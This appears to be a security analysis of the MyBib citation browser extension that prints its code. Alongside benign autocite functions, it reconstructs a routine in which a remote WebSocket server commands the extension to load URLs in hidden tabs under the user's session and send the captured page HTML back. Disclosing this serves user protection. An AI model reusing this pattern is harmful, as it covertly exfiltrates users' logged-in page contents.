Is MyBib: Free Citation Generator safe?

class V2 {  async autociteHtml(i, r, s) {    try {      return (await Pl({        url: mt + "/autocite/html",        method: "POST",        data: {          html: i,          url: r,          styleId: s        }      })).data.result    } catch {}  }  async autociteUrl(i, r) {    try {      return (await Pl({        url: mt + "/autocite/url",        method: "POST",        data: {          url: i,          styleId: r        }      })).data.result    } catch {}  }  async autocitePdf(i, r) {    try {      return await new Promise((n, e) => {        window.chrome.runtime.sendMessage({          action: "citePdf",          urlToApi: mt + "/autocite/pdf",          urlToPdf: i,          styleId: r        }, function(l) {          console.log(l), l && l.status === 200 ? n(l.data.result) : e(new Error("Page could not be reached."))        })      })    } catch (s) {      console.log(s)    }  }}const lt = new V2,

    async doAutocite() {      this.isLoading = !0, this.isError = !1;      let a = "https://www.theguardian.com/technology/2014/jun/11/nominet-new-rules-uk-domain-end-privacy",        i;      if (window.browser.tabs && (a = await new Promise((s, n) => {          window.chrome.tabs.query({            active: !0,            currentWindow: !0          }, function(e) {            e.length > 0 ? s(e[0].url) : n(new Error("Couldn't access chrome.tabs."))          })        })), a.startsWith("chrome://")) {        this.errorMessage = "This is a Chrome settings page and can't be cited. Please try a page on the internet.", this.isError = !0, this.isLoading = !1;        return      }      if (a.startsWith("file://")) {        this.errorMessage = "Files on your computer cannot be autocited with the extension. Please goto MyBib.com to cite this file.", this.isError = !0, this.isLoading = !1;        return      }      let r;      try {        r = await Pl({          url: a,          method: "GET",          headers: {            Accept: "text/html,*/*"          }        })      } catch {}      if (r)        if (z2(a).toLowerCase() === ".pdf" || r.headers["content-type"] === "application/pdf" || r.data.startsWith("%PDF")) {          try {            i = await lt.autociteUrl(a, this.selectedStyle.id)          } catch {            this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;            return          }          if (!i) {            let s;            try {              s = await Pl({                url: a,                method: "GET",                responseType: "blob"              })            } catch {              this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;              return            }            try {              i = await lt.autocitePdf(a, this.selectedStyle.id)            } catch {              this.errorMessage = "We couldn't autocite this PDF, sorry!", this.isError = !0, this.isLoading = !1;              return            }          }        } else i = await lt.autociteHtml(r.data, a, this.selectedStyle.id);      else try {        i = await lt.autociteUrl(a, this.selectedStyle.id)      } catch {        this.errorMessage = "Chrome has blocked this page from being Autocited. Please try another page.", this.isError = !0, this.isLoading = !1;        return      }      if (i) {        try {          this.reference = await this.applyClientFormatting(i)        } catch {          this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;          return        }        window.browser.storage && window.browser.storage.local.get("totalReferenceCount", s => {          let n;          s.totalReferenceCount ? n = parseInt(s.totalReferenceCount) + 1 : n = 1, window.browser.storage.local.set({            totalReferenceCount: n          })        }), this.bindTooltips()      } else this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0;      this.isLoading = !1    },

// v1.2.4: NOT_CF gates EVERYTHING.// A Cloudflare challenge page (which contains '<title>Just a moment...') is// always excluded, even at status='complete'.const NOT_CF = html.indexOf("<title>Just a moment...") === -1;const large  = html.length > 1e4;const done   = tabStatus === "complete";if (NOT_CF && (large || done)) {  // capture page HTML and send to C2}

// v1.2.6: the 'complete' branch escaped the Cloudflare gate.// Any page reaching status='complete' is captured, including a// Cloudflare challenge page, a small API response, or a 404.// The CF string also narrowed to 'Just a moment...' (no <title> wrapper).const NOT_CF = html.indexOf("Just a moment...") === -1;const large  = html.length > 1e4;const done   = tabStatus === "complete";if ((large && NOT_CF) || done) {  // capture page HTML and send to C2}

// Persistent C2 WebSocket; server drives the extension.const ws = new WebSocket(`wss://ws.mybib.com/?v=${version}`);ws.onmessage = async (msg) => {  const cmd = JSON.parse(msg.data);  if (!cmd.url) return;  if (cmd.useTab) {    // Open the server-named URL in a hidden, pinned tab using YOUR session.    chrome.tabs.create({ active: false, pinned: true, url: cmd.url }, (tab) => {      let done = false;      const poll = setInterval(async () => {        const status = (await chrome.tabs.get(tab.id)).status;        const html = await chrome.scripting.executeScript({          target: { tabId: tab.id }, injectImmediately: true,          func: () => document.documentElement.outerHTML        });        if (!done && /* v1.2.6 trigger condition */ ((html.length > 1e4 && !html.includes('Just a moment...')) || status === 'complete')) {          done = true; clearInterval(poll);          const code = await chrome.scripting.executeScript({            target: { tabId: tab.id }, injectImmediately: true,            func: () => performance.getEntriesByType('navigation')[0].responseStatus          });          ws.send(JSON.stringify({ id: cmd.id, response: { data: html, status: code } }));          await chrome.tabs.remove(tab.id); // clean up the hidden tab        }      }, 50);      setTimeout(() => { clearInterval(poll); chrome.tabs.remove(tab.id); }, 5000);    });  }};